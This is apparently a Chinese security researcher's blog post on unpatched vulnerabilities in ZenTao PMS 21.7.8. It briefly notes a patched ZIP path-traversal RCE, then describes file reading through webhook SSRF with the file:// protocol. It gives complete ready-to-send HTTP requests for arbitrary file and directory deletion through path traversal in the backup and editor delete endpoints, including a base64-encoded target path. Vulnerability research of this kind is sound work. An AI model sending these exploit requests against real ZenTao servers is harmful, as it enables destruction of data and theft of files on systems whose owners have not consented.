这篇漏洞用于记录禅道PMS 21.7.8(最新版)的漏洞挖掘记录。这个版本的禅道在经历的了强网拟态后,又偷偷修了几个漏洞。
官网:
https://www.zentao.net/
参考链接:
https://xz.aliyun.com/news/91072

历史漏洞修复

首先看一下禅道对于https://xz.aliyun.com/news/91072这篇文章中提到的后台RCE的偷偷修复:
来看ai.model#extractZtAppZip,这是文章中提到的漏洞的核心

public function extractZtAppZip($file)
    {
        $this->app->loadClass('pclzip', true);

        $zip      = new pclzip($file);
        $filePath = $this->app->getAppRoot() . 'tmp/';

        /* 限制解压的文件内容以阻止 ZIP 解压缩的目录穿越漏洞。*/
        /* Limit the file content to prevent the directory traversal vulnerability of ZIP decompression. */
        $extractFiles = array('ztapp.json');
        return $zip->extract(PCLZIP_OPT_PATH, $filePath, PCLZIP_OPT_BY_NAME, $extractFiles, PCLZIP_OPT_REMOVE_PATH, '');
    }

相对于21.7.6,添加了路径穿越的限制,那肯定是无法继续利用了的。

21.7.8 0day挖掘

任意文件读取

这个漏洞在https://xz.aliyun.com/news/91329这里提到过了,在这简单再说一下:
后台/通知设置/webhook那里存在SSRF,可以在Hook地址那里使用file协议。

保存后进行创建项目等操作来触发webhook,即可在webhook的日志中查看读取的文件内容。

从而实现了任意文件读取。

任意文件或目录删除

来看backup.control#delete:

public function delete($fileName)
    {
        foreach(glob($this->backupPath . "{$fileName}*") as $backupFile)
        {
            if(is_dir($backupFile))
            {
                $zfile = $this->app->loadClass('zfile');
                $zfile->removeDir($backupFile);
                $this->backup->processSummary($backupFile, 0, 0, array(), 0, 'delete');
            }
            elseif(!unlink($backupFile))
            {
                return $this->send(array('result' => 'fail', 'message' => sprintf($this->lang->backup->error->noDelete, $backupFile)));
            }
        }

        return $this->sendSuccess(array('load' => true));
    }

可以看到,这个方法比较牛逼啊,他不经过判断,直接将$this->backupPath与我们传入的fileName进行拼接,然后删除对应的目录或文件,并且没有限制路径穿越。
无论是删除文件或目录的payload都如下:

GET /zentao/index.php?m=backup&f=delete&fileName=../../../../../target HTTP/1.1
Host: localhost
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua-platform: "Windows"
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
sec-ch-ua: "Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"
X-Requested-With: XMLHttpRequest
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Referer: http://localhost/zentao/index.php?m=my&f=index
sec-ch-ua-mobile: ?0
Sec-Fetch-Dest: empty
Cookie: lang=zh-cn; vision=rnd; device=desktop; theme=default; zentaosid=e291678612dd9827620ea32f7a5fb081; hideMenu=false; tab=my; ECS[visit_times]=4
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36

比较遗憾的是这个必须用相对路径,不能跨磁盘删除(我使用的是禅道桌面版)。

任意文件删除

看editor.control#delete

public function delete($filePath = '')
    {
        $filePath = helper::safe64Decode($filePath);

        if(file_exists($filePath) and unlink($filePath)) return $this->send(array('load' => true));
        return $this->send(array('result' => 'fail', 'message' => $this->lang->editor->notDelete));

    }

这玩意就更牛逼了,甚至没有拼接,指定谁就删谁。
首先发送一个数据包去开启这项功能:

POST /zentao/index.php?m=editor&f=turnon&status=1 HTTP/1.1
Host: localhost
Accept-Language: zh-CN,zh;q=0.9
Sec-Fetch-Site: same-origin
Cookie: lang=zh-cn; vision=rnd; device=desktop; theme=default; zentaosid=e291678612dd9827620ea32f7a5fb081; hideMenu=false; tab=admin; ECS[visit_times]=4
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
sec-ch-ua-mobile: ?0
Origin: http://localhost
Sec-Fetch-Dest: empty
Referer: http://localhost/zentao/index.php?m=dev&f=editor
Accept: */*
Sec-Fetch-Mode: cors
Accept-Encoding: gzip, deflate, br, zstd
X-Requested-With: XMLHttpRequest
Content-Length: 0

然后发送数据包触发任意文件删除。

GET /zentao/index.php?m=editor&f=delete&filePath=QzovdGFyZ2V0LnR4dA== HTTP/1.1
Host: localhost
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua-platform: "Windows"
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
sec-ch-ua: "Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"
X-Requested-With: XMLHttpRequest
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Referer: http://localhost/zentao/index.php?m=my&f=index
sec-ch-ua-mobile: ?0
Sec-Fetch-Dest: empty
Cookie: lang=zh-cn; vision=rnd; device=desktop; theme=default; zentaosid=e291678612dd9827620ea32f7a5fb081; hideMenu=false; tab=my; ECS[visit_times]=4
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36

总结

如上三个漏洞是在禅道最新版还能利用的漏洞。除此以外,我还发现了一些无聊的越权,以及一处最新版仍可用的后台RCE,就不在这说了。